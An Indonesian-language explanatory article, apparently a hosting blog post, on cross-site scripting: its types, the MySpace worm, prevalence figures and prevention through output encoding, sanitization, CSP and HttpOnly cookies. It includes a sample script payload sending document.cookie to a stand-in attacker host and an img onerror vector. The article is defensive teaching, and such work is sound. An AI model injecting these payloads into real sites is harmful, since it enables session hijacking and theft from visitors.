Setiap kali Anda membuka sebuah halaman web, browser menerima campuran teks, gambar, dan kode program dari server website tersebut. Browser tidak memiliki cara untuk membedakan mana kode yang ditulis oleh pengembang website dan mana yang baru saja diselipkan orang lain beberapa detik sebelumnya. Selama keduanya sampai dari alamat yang sama, keduanya dijalankan dengan hak yang sama pula.
Kepercayaan itulah yang disalahgunakan. XSS adalah celah keamanan yang memungkinkan penyerang menitipkan kode JavaScript ke halaman sebuah website, lalu kode tersebut dijalankan di browser setiap pengunjung yang membuka halaman itu. Yang menanggung kerugian langsung bukan server Anda, melainkan orang-orang yang mempercayai website Anda. Artikel ini membahas pengertian XSS, alasan browser bersedia menjalankan skrip asing, tiga jenisnya, hingga langkah pencegahan yang bisa Anda kerjakan.
Apa Itu XSS?
XSS adalah singkatan dari cross-site scripting, sebuah celah keamanan aplikasi web yang membuat penyerang dapat menyisipkan skrip ke dalam halaman yang dilihat pengguna lain. Singkatannya memakai huruf X, bukan C, untuk membedakannya dari CSS (Cascading Style Sheets) yang lebih dulu memakai akronim tersebut.
Celah ini muncul dari satu kebiasaan sederhana: aplikasi menampilkan kembali data yang berasal dari pengguna tanpa memperlakukannya sebagai teks biasa. Nama yang Anda ketik di kolom komentar seharusnya tampil sebagai deretan huruf. Namun bila aplikasi menempelkannya begitu saja ke dalam struktur halaman, browser akan membaca sebagian isinya sebagai perintah, bukan sebagai tulisan.
Kata "cross-site" pada namanya merujuk pada asal kodenya: skrip dari satu pihak menumpang pada halaman yang dikirimkan pihak lain. Istilah ini mendapat perhatian luas sejak CERT Coordination Center menerbitkan advisory CA-2000-02 berjudul "Malicious HTML Tags Embedded in Client Web Requests" pada 2 Februari 2000. Lebih dari dua dekade berlalu, dan pola dasarnya tidak berubah.
Serangan XSS (XSS attack) tidak membobol server Anda. Ia meminjam nama baik domain Anda untuk menjalankan perintah di komputer pengunjung. Karena itu, kerugian pertama yang muncul biasanya berbentuk akun pengunjung yang diambil alih, bukan file server yang hilang.
Kenapa Browser Mau Menjalankan Skrip Penyerang
Browser modern memisahkan setiap website ke dalam kotak yang disebut origin (kombinasi protokol, nama domain, dan port). Aturan ini mencegah skrip milik situs A membaca isi halaman situs B. Perlindungan tersebut bekerja rapi selama skrip yang berbahaya datang dari luar.
Masalahnya, skrip hasil serangan XSS tidak datang dari luar. Ia dikirimkan oleh server website Anda sendiri, dalam satu paket dengan halaman yang sah. Di mata browser, asalnya sama persis dengan kode buatan pengembang. Karena itu ia mewarisi seluruh haknya: membaca isi halaman, mengubah tampilan, mengambil cookie yang tidak dilindungi, hingga mengirim permintaan seolah-olah pengunjung sendiri yang melakukannya.
Diagram alur cara kerja serangan XSS antara penyerang, server website, dan browser pengunjung.
Inilah alasan mengapa nasihat "jangan klik tautan mencurigakan" tidak banyak menolong di sini. Tautannya memang mengarah ke website yang benar, sertifikatnya sah, dan alamat di bilah browser tidak berbohong.
Tiga Jenis XSS dan Bedanya
Pembeda utama ketiga jenis di bawah bukan pada payload-nya, melainkan pada tempat skrip itu singgah sebelum sampai ke browser korban.
Tiga kartu jenis XSS: Stored dengan ikon basis data, Reflected dengan bilah alamat, DOM-based dengan pohon dokumen.
- Stored XSS: skrip tersimpan permanen di sisi aplikasi, misalnya di dalam database komentar, profil pengguna, atau kolom ulasan produk. Setiap orang yang membuka halaman tersebut menjalankannya tanpa perlu diarahkan ke mana-mana. Jenis ini paling berbahaya karena jangkauannya otomatis meluas ke seluruh pengunjung.
- Reflected XSS: skrip dititipkan di dalam alamat URL, lalu dipantulkan kembali oleh server ke dalam halaman hasil. Contoh yang lazim adalah halaman pencarian yang menampilkan ulang kata kunci pengunjung. Serangan ini membutuhkan korban yang membuka tautan rancangan penyerang, sehingga sering disebarkan lewat pesan atau email.
- DOM-based XSS: server sama sekali tidak terlibat. Skrip di sisi browser sendiri yang mengambil data dari alamat halaman, lalu menuliskannya ke dalam struktur dokumen (DOM) memakai perintah yang tidak aman. Karena payload-nya kadang tidak pernah dikirim ke server, jenis ini paling sulit terdeteksi oleh pemindai maupun catatan log server.
| Jenis | Tempat skrip singgah | Yang dibutuhkan penyerang |
|---|---|---|
| Stored XSS | Database atau penyimpanan aplikasi | Satu kolom input yang bisa diisi |
| Reflected XSS | Parameter URL yang dipantulkan halaman | Korban membuka tautan rancangannya |
| DOM-based XSS | Kode JavaScript di browser korban | Halaman yang menulis data ke DOM secara sembrono |
Contoh Sederhana Serangan XSS
Bayangkan kolom komentar yang menyimpan dan menampilkan ulang isi kiriman apa adanya. Seorang penyerang tidak menulis kalimat, melainkan mengirim potongan berikut:
<script>fetch('https://situs-penyerang.example/c?d=' + document.cookie)</script>Bagi aplikasi, itu hanyalah teks yang perlu disimpan. Bagi browser pengunjung berikutnya, itu adalah perintah yang harus dijalankan. Isi cookie mereka pun terkirim ke server penyerang tanpa ada yang menyadari.
Kasus kedua terjadi di halaman pencarian yang menampilkan kembali kata kunci, misalnya contoh.com/cari?q=hosting yang mencetak tulisan "Hasil untuk: hosting". Bila kata kunci itu dicetak tanpa pengamanan, penyerang cukup menyusun alamat dengan skrip di dalam parameter q, lalu menyebarkannya. Setiap orang yang mengklik akan menjalankan skrip tersebut di dalam konteks domain yang sah.
Satu hal yang perlu diperhatikan: memblokir kata <script> bukan solusi. Skrip juga bisa berjalan lewat atribut event pada elemen yang sama sekali tidak terlihat berbahaya, seperti gambar rusak yang memicu penanganan kesalahan.
<img src=x onerror="/* kode penyerang berjalan di sini */">Karena jumlah variasi semacam ini praktis tidak terbatas, pertahanan yang bertumpu pada daftar kata terlarang selalu tertinggal satu langkah.
Yang Bisa Dilakukan Penyerang Setelah Skripnya Berjalan
Begitu skrip berjalan, penyerang memiliki kemampuan yang sama dengan kode asli halaman tersebut. Beberapa pemanfaatan yang paling sering ditemui:
- Mengambil alih sesi: mencuri cookie sesi sehingga penyerang bisa masuk sebagai korban tanpa perlu mengetahui kata sandinya.
- Merekam ketikan pada formulir: memasang penyadap pada kolom kata sandi atau nomor kartu di halaman yang tampak normal.
- Menampilkan halaman login palsu: menyajikan formulir tiruan di dalam domain asli, sehingga ciri-ciri phishing yang biasa diajarkan menjadi tidak berguna.
- Mengubah tampilan halaman: menyisipkan konten, iklan, atau pengalihan ke situs lain.
- Menyebar sendiri: skrip yang berhasil bisa menulis dirinya kembali ke profil setiap korban, lalu menular.
Contoh terakhir bukan sekadar kemungkinan teoretis. Pada 4 Oktober 2005, sebuah skrip yang disisipkan ke profil MySpace membuat lebih dari satu juta akun menjalankan payload yang sama hanya dalam 20 jam. Layanan tersebut akhirnya dimatikan sementara. Penyebarnya tidak membobol satu pun server MySpace; ia hanya menemukan satu kolom profil yang menerima kode.
Seberapa Sering XSS Terjadi Hari Ini
Angkanya lebih besar daripada dugaan kebanyakan pemilik website. Patchstack, yang memantau kerentanan di ekosistem WordPress, mencatat XSS sebagai 34,7% dari seluruh kerentanan yang dilaporkan pada semester pertama 2025. Pangsa itu hampir dua kali lipat kategori di bawahnya, yaitu CSRF (19%) dan local file inclusion (12,6%). Sepanjang 2025, jumlah kerentanan baru di ekosistem tersebut mencapai 11.334, naik 42% dibanding tahun sebelumnya.
Pada daftar OWASP Top 10:2025, kategori Injection yang menaungi XSS justru turun dari peringkat ketiga ke peringkat kelima. Penurunan itu mudah disalahpahami. OWASP mencatat lebih dari 30.000 CVE untuk XSS, dengan frekuensi tinggi dan dampak per kasus yang relatif rendah. Bandingkan dengan SQL injection: lebih dari 14.000 CVE, frekuensinya rendah tetapi dampaknya berat.
Volume laporan yang besar itulah yang menekan skor dampak rata-rata kategori Injection. Dengan kata lain, XSS turun peringkat karena jumlahnya banyak, bukan karena celahnya menghilang.
Kemudahan menemukannya juga membuat XSS tetap menjadi jenis kerentanan yang paling banyak dilaporkan ke program bug bounty. Di platform HackerOne, mayoritas temuan valid dari pemindai otomatis berupa XSS. Alat otomatis milik penyerang bekerja dengan kemudahan yang sama.
Cara Mencegah XSS di Sisi Kode
Bagian ini adalah inti pertahanannya. Urutannya sengaja tidak dimulai dari penyaringan input, karena bukan di situ letak penentunya.
Encoding saat menampilkan data, sesuai konteksnya
Pertahanan utama XSS adalah output encoding: mengubah karakter bermakna khusus menjadi bentuk yang aman tepat pada saat data ditampilkan. Karakter < ditulis sebagai <, > menjadi >, tanda kutip menjadi ". Browser kemudian menampilkannya sebagai huruf, bukan sebagai penanda struktur.
Yang sering terlewat: satu jenis encoding tidak menutup semua tempat. Data yang aman di badan halaman belum tentu aman di lokasi lain, karena aturan penulisan tiap konteks berbeda.
Empat kotak konteks output encoding: HTML, atribut, URL, dan JavaScript, masing-masing dengan ikonnya sendiri.
- Badan HTML — pakai escaping HTML standar (
htmlspecialcharsdi PHP, dan padanannya di bahasa lain). - Di dalam atribut — nilainya wajib diapit tanda kutip dan tanda kutip di dalam data ikut di-escape. Tanpa kutip pembungkus, spasi saja sudah cukup untuk menambahkan atribut baru.
- Di dalam URL — pakai fungsi encoding URL (
encodeURIComponent,rawurlencode), dan tolak skema selainhttpsertahttps. - Di dalam blok JavaScript — hindari menanam data pengguna langsung ke dalam kode. Kirim lewat atribut
data-atau JSON, lalu baca dari sana.
Validasi input sebagai penyaring tambahan
Memeriksa input tetap berguna: tanggal harus berbentuk tanggal, nomor telepon hanya berisi angka. Praktik ini menutup banyak kiriman sampah lebih awal. Namun validasi bukan pertahanan utama XSS, sebab banyak kolom memang wajib menerima teks bebas. Kolom komentar tidak bisa menolak tanda kurung siku hanya karena tanda itu berpotensi berbahaya.
Memanfaatkan escaping bawaan framework
Framework modern sudah melakukan encoding secara otomatis. Kebocoran biasanya terjadi justru saat perlindungan itu sengaja dimatikan.
Di Laravel, {{ $data }} aman sedangkan {!! $data !!} tidak. Di React, JSX melakukan escaping otomatis kecuali Anda memakai dangerouslySetInnerHTML. Di Vue, v-html memiliki peran serupa. Pada JavaScript murni, textContent aman sementara innerHTML tidak.
Jadikan penggunaan perintah-perintah tersebut sebagai penanda saat meninjau kode. Setiap kemunculannya perlu alasan yang jelas dan data yang sudah dibersihkan lebih dahulu.
Sanitasi kalau HTML memang harus diizinkan
Sebagian aplikasi memang perlu menerima HTML, misalnya editor artikel. Untuk kasus ini, gunakan pustaka sanitasi yang matang dan diperbarui rutin — DOMPurify untuk JavaScript, atau HTML Purifier untuk PHP. Pustaka semacam ini bekerja dengan daftar elemen dan atribut yang diizinkan, lalu membuang sisanya. Menulis penyaring HTML sendiri hampir selalu berakhir dengan celah yang tertinggal.
Sanitizer API bawaan browser
Sejak Firefox 148 dirilis pada 24 Februari 2026, browser mulai menyediakan sanitasi bawaan lewat Sanitizer API. Metode setHTML() bekerja seperti innerHTML, tetapi membuang elemen dan atribut yang tidak aman secara bawaan. Dukungannya belum merata di semua browser besar, sehingga MDN masih menandainya sebagai fitur dengan ketersediaan terbatas. Untuk sekarang, perlakukan ia sebagai pelengkap: periksa ketersediaannya lebih dahulu, dan sediakan pustaka sanitasi sebagai cadangan.
Lapis Pertahanan Tambahan di Sisi Server
Setelah kode Anda rapi, ada beberapa pengaturan yang menahan kerusakan bila satu titik terlewat.
Content Security Policy (CSP) adalah header HTTP yang memberi tahu browser dari mana saja skrip boleh dijalankan. Dengan kebijakan yang ketat, skrip sisipan tetap tidak berjalan meskipun berhasil masuk ke halaman. Mulailah dari kebijakan sederhana seperti default-src 'self', lalu longgarkan seperlunya.
Cookie dengan atribut HttpOnly tidak dapat dibaca oleh JavaScript, sehingga pencurian cookie sesi lewat skrip menjadi gagal. Pahami batasnya: skrip yang berjalan tetap bisa mengirim permintaan atas nama korban selama sesinya aktif, meski isi cookie tidak pernah ia lihat. Tambahkan atribut Secure dan SameSite sekaligus.
Header X-XSS-Protection sebaiknya tidak lagi dipakai. Header ini berstatus non-standar sekaligus usang. MDN bahkan memperingatkan bahwa dalam kondisi tertentu ia justru dapat memunculkan celah XSS pada website yang sebenarnya aman, dan menyarankan Content-Security-Policy sebagai gantinya. Bila Anda menemukannya di konfigurasi lama yang disalin dari tutorial bertahun-tahun lalu, itu saatnya membersihkan.
Sekalian meluruskan satu kesalahpahaman: sertifikat SSL dan HTTPS tidak menghentikan XSS. Enkripsi mengamankan jalur pengiriman data, sedangkan XSS menumpang pada data yang dikirim lewat jalur itu — terenkripsi rapi sampai ke browser korban.
Kalau Anda Tidak Menulis Kodenya Sendiri
Mayoritas pemilik website memakai WordPress atau CMS lain, dan tidak pernah menyentuh kode escaping. Pertahanan Anda ada di tempat yang berbeda.
- Perbarui secepat mungkin. Patchstack mencatat median waktu eksploitasi pertama hanya sekitar 5 jam setelah sebuah celah dipublikasikan. Jadwal pembaruan bulanan jelas tidak memadai; aktifkan pembaruan otomatis untuk plugin, minimal untuk pembaruan keamanan.
- Kurangi jumlah plugin. Setiap plugin adalah kode pihak ketiga yang berjalan di website Anda. Plugin yang tidak diperbarui lebih dari satu tahun sebaiknya diganti, bukan dibiarkan menganggur.
- Batasi siapa yang boleh menulis HTML mentah. Peran penulis dan kontributor tidak memerlukan hak menyunting HTML tanpa penyaringan.
- Pasang penyaring di depan aplikasi. Firewall aplikasi web menahan pola serangan yang sudah dikenal dan memberi jeda sampai pembaruan resmi tersedia.
Hal yang Perlu Anda Pertimbangkan
Tidak ada satu langkah yang menutup seluruh permukaan serangan, dan setiap lapis punya sisi merepotkan.
CSP menuntut perawatan. Kebijakan yang ketat dapat mematikan widget pihak ketiga, skrip analitik, atau iklan, dan tiap penambahan layanan baru berarti kebijakan perlu ditinjau lagi. Sanitasi HTML yang terlalu ketat membuat editor konten kehilangan kemampuan yang sah, seperti menyematkan video. Firewall hanya mengenali pola yang sudah dipelajarinya, sehingga variasi baru bisa lolos. Sementara escaping bawaan framework bisa gugur hanya karena satu baris kode yang mematikannya demi menampilkan HTML dari basis data.
Karena itu, urutan prioritasnya perlu jelas: benahi cara data ditampilkan lebih dahulu, baru tambahkan CSP dan firewall sebagai jaring pengaman. Membalik urutan itu menghasilkan rasa aman yang menipu.
Pertanyaan Seputar XSS
Apa kepanjangan XSS?
XSS adalah singkatan dari cross-site scripting. Huruf X dipakai menggantikan C agar tidak tertukar dengan CSS.
Apa beda XSS dan SQL injection?
Sasarannya berbeda. SQL injection membajak perintah ke database dan menyerang data di sisi server. XSS menyisipkan skrip yang berjalan di browser pengunjung, sehingga korban langsungnya adalah pengguna website tersebut.
Apa beda XSS dan CSRF?
XSS menjalankan kode penyerang di dalam halaman yang sedang dibuka korban. CSRF (cross-site request forgery) tidak menjalankan kode di halaman itu, melainkan memancing browser korban mengirim permintaan ke website lain tempat korban sedang masuk.
Apakah HTTPS mencegah XSS?
Tidak. HTTPS mengenkripsi lalu lintas antara browser dan server, dan tidak memeriksa isi konten yang dikirim.
Apakah antivirus di komputer pengunjung membantu?
Sangat terbatas. Skrip berjalan di dalam browser sebagai bagian halaman yang sah, sehingga tidak menyerupai berkas berbahaya yang biasa dikenali antivirus.
Kesimpulan
XSS adalah celah yang memanfaatkan kepercayaan browser terhadap kode yang datang dari domain Anda, dan kerugiannya jatuh pada pengunjung dalam bentuk sesi yang dibajak atau data yang direkam. Tiga jenisnya — stored, reflected, dan DOM-based — berbeda pada tempat skrip singgah, tetapi berakar pada satu kesalahan yang sama: data pengguna diperlakukan sebagai bagian dari struktur halaman.
Bila Anda menulis kodenya sendiri, dahulukan encoding saat menampilkan data sesuai konteksnya, lalu tambahkan CSP dan cookie HttpOnly sebagai lapis berikutnya. Bila Anda memakai CMS, kecepatan memperbarui plugin jauh lebih menentukan daripada pengaturan apa pun. Dengan jarak sekitar 5 jam antara publikasi celah dan eksploitasi pertama, menunda pembaruan selama sepekan sudah terlambat.
Semoga artikel ini membantu.




